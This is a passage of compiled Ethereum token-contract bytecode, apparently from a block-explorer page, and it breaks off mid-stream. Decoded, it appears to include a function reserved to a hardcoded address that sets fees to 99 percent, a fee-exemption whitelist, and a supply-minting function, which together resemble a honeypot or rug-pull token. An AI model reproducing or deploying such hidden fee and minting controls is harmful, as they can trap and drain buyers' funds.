6020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ca091906131b9565b60405180910390a35b5050611e0a565b611d218160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e0191906131b9565b60405180910390a35b5050565b5f33600b60029054906101000a900460ff1680611e715750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611ea05750600b5f9054906101000a900460ff16158015611e9f5750600b60019054906101000a900460ff165b5b80611f615750600b5f9054906101000a900460ff168015611f075750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611f60575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611fc5575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611fc457505f600a54145b5b612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb906133cc565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561204d575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612084575f80fd5b6120d48360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f1e90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121658360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161220391906131b9565b60405180910390a3600191505092915050565b73bfa8713b0ed805800d56cbd10e96b22fb18fc15e73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228f9061370c565b60405180910390fd5b600b5f9054906101000a900460ff16156122e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122de90613774565b60405180910390fd5b5f8214612329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612320906137dc565b60405180910390fd5b6063811461236c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236390613844565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516123e0929190613862565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806124935750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806124c25750600b5f9054906101000a900460ff161580156124c15750600b60019054906101000a900460ff165b5b806125835750600b5f9054906101000a900460ff1680156125295750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015612582575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b806125e7575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156125e657505f600a54145b5b612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d906133cc565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156126a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269d906138d3565b60405180910390fd5b600b60019054906101000a900460ff1615612aa6575f808390505f600a5411801561271e575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156127715750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156127b65761279e6064612790600a5487612e5090919063ffffffff16565b612ec790919063ffffffff16565b91506127b38285612f1e90919063ffffffff16565b90505b6128068460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f1e90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128b88160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161299891906131b9565b60405180910390a35f821115612a9f576129f88260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a9691906131b9565b60405180910390a35b5050612c91565b612af68260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f1e90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612ba88260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c8891906131b9565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1b90613504565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d899061393b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612e60575f9050612ec1565b5f8284612e6d9190613986565b9050828482612e7c91906139f4565b14612ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb390613a6e565b60405180910390fd5b809150505b92915050565b5f808211612f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f01906133cc565b60405180910390fd5b8183612f1691906139f4565b905092915050565b5f82821115612f62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f5990613ad6565b60405180910390fd5b8183612f6e9190613af4565b905092915050565b5f808284612f849190613b27565b905083811015612fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fc090613ba4565b60405180910390fd5b8091505092915050565b5f80fd5b5f819050919050565b612fe981612fd7565b8114612ff3575f80fd5b50565b5f8135905061300481612fe0565b92915050565b5f6020828403121561301f5761301e612fd3565b5b5f61302c84828501612ff6565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561306c578082015181840152602081019050613051565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61309182613035565b61309b818561303f565b93506130ab81856020860161304f565b6130b481613077565b840191505092915050565b5f6020820190508181035f8301526130d78184613087565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f613108826130df565b9050919050565b613118816130fe565b8114613122575f80fd5b50565b5f813590506131338161310f565b92915050565b5f806040838503121561314f5761314e612fd3565b5b5f61315c85828601613125565b925050602061316d85828601612ff6565b9150509250929050565b5f8115159050919050565b61318b81613177565b82525050565b5f6020820190506131a45f830184613182565b92915050565b6131b381612fd7565b82525050565b5f6020820190506131cc5f8301846131aa565b92915050565b5f805f606084860312156131e9576131e8612fd3565b5b5f6131f686828701613125565b935050602061320786828701613125565b925050604061321886828701612ff6565b9150509250925092565b5f60ff82169050919050565b61323781613222565b82525050565b5f6020820190506132505f83018461322e565b92915050565b5f6020828403121561326b5761326a612fd3565b5b5f61327884828501613125565b91505092915050565b61328a816130fe565b82525050565b5f6020820190506132a35f830184613281565b92915050565b5f80604083850312156132bf576132be612fd3565b5b5f6132cc85828601612ff6565b92505060206132dd85828601612ff6565b9150509250929050565b5f80604083850312156132fd576132fc612fd3565b5b5f61330a85828601613125565b925050602061331b85828601613125565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061336957607f821691505b60208210810361337c5761337b613325565b5b50919050565b7f50555353595858585800000000000000000000000000000000000000000000005f82015250565b5f6133b660098361303f565b91506133c182613382565b602082019050919050565b5f6020820190508181035f8301526133e3816133aa565b9050919050565b7f50555353595858585858580000000000000000000000000000000000000000005f82015250565b5f61341e600b8361303f565b9150613429826133ea565b602082019050919050565b5f6020820190508181035f83015261344b81613412565b9050919050565b7f50555353595858585858585800000000000000000000000000000000000000005f82015250565b5f613486600c8361303f565b915061349182613452565b602082019050919050565b5f6020820190508181035f8301526134b38161347a565b9050919050565b7f50555353595858585858000000000000000000000000000000000000000000005f82015250565b5f6134ee600a8361303f565b91506134f9826134ba565b602082019050919050565b5f6020820190508181035f83015261351b816134e2565b9050919050565b7f50555353595858585858585858580000000000000000000000000000000000005f82015250565b5f613556600e8361303f565b915061356182613522565b602082019050919050565b5f6020820190508181035f8301526135838161354a565b9050919050565b7f50555353595858585858585858585858000000000000000000000000000000005f82015250565b5f6135be60108361303f565b91506135c98261358a565b602082019050919050565b5f6020820190508181035f8301526135eb816135b2565b9050919050565b7f58205055535359585858585858585858585858205800000000000000000000005f82015250565b5f61362660158361303f565b9150613631826135f2565b602082019050919050565b5f6020820190508181035f8301526136538161361a565b9050919050565b7f50555353595858585858585858585858585858585858580000000000000000005f82015250565b5f61368e60178361303f565b91506136998261365a565b602082019050919050565b5f6020820190508181035f8301526136bb81613682565b9050919050565b7f50555353595858585858585858585858585858000000000000000000000000005f82015250565b5f6136f660138361303f565b9150613701826136c2565b602082019050919050565b5f6020820190508181035f830152613723816136ea565b9050919050565b7f50555353595858585858585858585858585800000000000000000000000000005f82015250565b5f61375e60128361303f565b91506137698261372a565b602082019050919050565b5f6020820190508181035f83015261378b81613752565b9050919050565b7f50555353595858585858585858585858585858580000000000000000000000005f82015250565b5f6137c660148361303f565b91506137d182613792565b602082019050919050565b5f6020820190508181035f8301526137f3816137ba565b9050919050565b7f50555353595858585858585858585858585858585800000000000000000000005f82015250565b5f61382e60158361303f565b9150613839826137fa565b602082019050919050565b5f6020820190508181035f83015261385b81613822565b9050919050565b5f6040820190506138755f8301856131aa565b61388260208301846131aa565b9392505050565b7f50555353595858585858585858585858585858585858585820313233000000005f82015250565b5f6138bd601c8361303f565b91506138c882613889565b602082019050919050565b5f6020820190508181035f8301526138ea816138b1565b9050919050565b7f50555353595858585858585858000000000000000000000000000000000000005f82015250565b5f613925600d8361303f565b9150613930826138f1565b602082019050919050565b5f6020820190508181035f83015261395281613919565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61399082612fd7565b915061399b83612fd7565b92508282026139a981612fd7565b915082820484148315176139c0576139bf613959565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6139fe82612fd7565b9150613a0983612fd7565b925082613a1957613a186139c7565b5b828204905092915050565b7f50555353595858580000000000000000000000000000000000000000000000005f82015250565b5f613a5860088361303f565b9150613a6382613a24565b602082019050919050565b5f6020820190508181035f830152613a8581613a4c565b9050919050565b7f50555353595800000000000000000000000000000000000000000000000000005f82015250565b5f613ac060068361303f565b9150613acb82613a8c565b602082019050919050565b5f6020820190508181035f830152613aed81613ab4565b9050919050565b5f613afe82612fd7565b9150613b0983612fd7565b9250828203905081811115613b2157613b20613959565b5b92915050565b5f613b3182612fd7565b9150613b3c83612fd7565b9250828201905080821115613b5457613b53613959565b5b92915050565b7f50555353595858000000000000000000000000000000000000000000000000005f82015250565b5f613b8e60078361303f565b9150613b9982613b5a565b602082019050919050565b5f6020820190508181035f830152613bbb81613b82565b905091905056fea264697066735822122097f07879e70c28b02b6ce830a8a538061bf21d4f4337cb8fbb6836f5e2a967d264736f6c63430008150033000000000000000000000000bfa8713b0ed805800d56cbd10e96b22fb18fc15e000000000000000000000006d79f82328ea3da61e066ebb2f889ffffffffffff

Deployed Bytecode

0x608060405260043610610165575f3560e01c806370a08231116100d0578063a6f2ae3a11610089578063c31c9c0711610063578063c31c9c07146104e9578063dd62ed3e14610513578063e4849b321461054f578063f2fde38b1461057757610165565b8063a6f2ae3a1461047b578063a9059cbb14610485578063b390c0ab146104c157610165565b806370a0823114610395578063715018a6146103d15780638da5cb5b146103e757806395d89b41146104115780639975038c1461043b578063a64e4f8a1461045157610165565b80632b14ca56116101225780632b14ca5614610287578063313ce567146102b15780633f4218e0146102db578063470624021461031757806347b5dd541461034157806364bcf5f41461036b57610165565b8063036978631461016957806306fdde0314610191578063095ea7b3146101bb57806318160ddd146101f757806323b872dd1461022157806325e0e4d01461025d575b5f80fd5b348015610174575f80fd5b5061018f600480360381019061018a919061300a565b61059f565b005b34801561019c575f80fd5b506101a56105f0565b6040516101b291906130bf565b60405180910390f35b3480156101c6575f80fd5b506101e160048036038101906101dc9190613139565b61067b565b6040516101ee9190613191565b60405180910390f35b348015610202575f80fd5b5061020b610768565b60405161021891906131b9565b60405180910390f35b34801561022c575f80fd5b50610247600480360381019061024291906131d2565b61076e565b6040516102549190613191565b60405180910390f35b348015610268575f80fd5b506102716112ba565b60405161027e9190613191565b60405180910390f35b348015610292575f80fd5b5061029b6112cc565b6040516102a891906131b9565b60405180910390f35b3480156102bc575f80fd5b506102c56112d2565b6040516102d2919061323d565b60405180910390f35b3480156102e6575f80fd5b5061030160048036038101906102fc9190613256565b6112e4565b60405161030e9190613191565b60405180910390f35b348015610322575f80fd5b5061032b611301565b60405161033891906131b9565b60405180910390f35b34801561034c575f80fd5b50610355611307565b60405161036291906131b9565b60405180910390f35b348015610376575f80fd5b5061037f61130d565b60405161038c9190613191565b60405180910390f35b3480156103a0575f80fd5b506103bb60048036038101906103b69190613256565b611320565b6040516103c891906131b9565b60405180910390f35b3480156103dc575f80fd5b506103e5611335565b005b3480156103f2575f80fd5b506103fb611481565b6040516104089190613290565b60405180910390f35b34801561041c575f80fd5b506104256114a6565b60405161043291906130bf565b60405180910390f35b348015610446575f80fd5b5061044f611532565b005b34801561045c575f80fd5b506104656117b8565b6040516104729190613191565b60405180910390f35b6104836117cb565b005b348015610490575f80fd5b506104ab60048036038101906104a69190613139565b611e0e565b6040516104b89190613191565b60405180910390f35b3480156104cc575f80fd5b506104e760048036038101906104e291906132a9565b612216565b005b3480156104f4575f80fd5b506104fd6123ec565b60405161050a9190613290565b60405180910390f35b34801561051e575f80fd5b50610539600480360381019061053491906132e7565b612411565b60405161054691906131b9565b60405180910390f35b34801561055a575f80fd5b506105756004803603810190610570919061300a565b612431565b005b348015610582575f80fd5b5061059d60048036038101906105989190613256565b612c95565b005b3373ffffffffffffffffffffffffffffffffffffffff167fb6e8f04cf03b5aef7f64b05be34717ced7ad18d9e25d848dcd9542d070ce2ddb826040516105e591906131b9565b60405180910390a250565b5f80546105fc90613352565b80601f016020809104026020016040519081016040528092919081815260200182805461062890613352565b80156106735780601f1061064a57610100808354040283529160200191610673565b820191905f5260205f20905b81548152906001019060200180831161065657829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161075691906131b9565b60405180910390a36001905092915050565b60025481565b5f83600b60029054906101000a900460ff16806107d15750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806108005750600b5f9054906101000a900460ff161580156107ff5750600b60019054906101000a900460ff165b5b806108c15750600b5f9054906101000a900460ff1680156108675750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156108c0575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80610925575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561092457505f600a54145b5b610964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095b906133cc565b60405180910390fd5b8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156109e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109db90613434565b60405180910390fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a969061349c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b049061349c565b60405180910390fd5b5f80849050600b60019054906101000a900460ff168015610b2f57505f600a54115b8015610b88575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b8015610bdb5750600c5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610c2057610c086064610bfa600a5488612e5090919063ffffffff16565b612ec790919063ffffffff16565b9150610c1d8286612f1e90919063ffffffff16565b90505b610c708560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f1e90919063ffffffff16565b60045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610d018160045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d9f91906131b9565b60405180910390a35f821115610fee575f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f90508073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603610ef557610e4a8360045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ee891906131b9565b60405180910390a3610fec565b610f458360045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fe391906131b9565b60405180910390a35b505b3373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141580156110c257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b156112ac576111528560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f1e90919063ffffffff16565b60055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516112a391906131b9565b60405180910390a35b600193505050509392505050565b600b5f9054906101000a900460ff1681565b600a5481565b60035f9054906101000a900460ff1681565b600c602052805f5260405f205f915054906101000a900460ff1681565b60095481565b60085481565b600b60029054906101000a900460ff1681565b6004602052805f5260405f205f915090505481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bb90613504565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546114b390613352565b80601f01602080910402602001604051908101604052809291908181526020018280546114df90613352565b801561152a5780601f106115015761010080835404028352916020019161152a565b820191905f5260205f20905b81548152906001019060200180831161150d57829003601f168201915b505050505081565b600b5f9054906101000a900460ff16611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115779061356c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361160f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611606906135d4565b60405180910390fd5b5f60085411611653576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164a9061363c565b60405180910390fd5b61166a600854600254612f7690919063ffffffff16565b6002819055506116e360085460045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968856008546040516117ae91906131b9565b60405180910390a2565b600b60019054906101000a900460ff1681565b33600b60029054906101000a900460ff168061182d5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061185c5750600b5f9054906101000a900460ff1615801561185b5750600b60019054906101000a900460ff165b5b8061191d5750600b5f9054906101000a900460ff1680156118c35750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561191c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80611981575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561198057505f600a54145b5b6119c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b7906133cc565b60405180910390fd5b5f3411611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f9906136a4565b60405180910390fd5b5f3490505f6009541115611cb0575f611a396064611a2b60095485612e5090919063ffffffff16565b612ec790919063ffffffff16565b90505f611a4f8284612f1e90919063ffffffff16565b9050611ac28160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ba291906131b9565b60405180910390a35f821115611ca957611c028260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ca091906131b9565b60405180910390a35b5050611e0a565b611d218160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612f7690919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2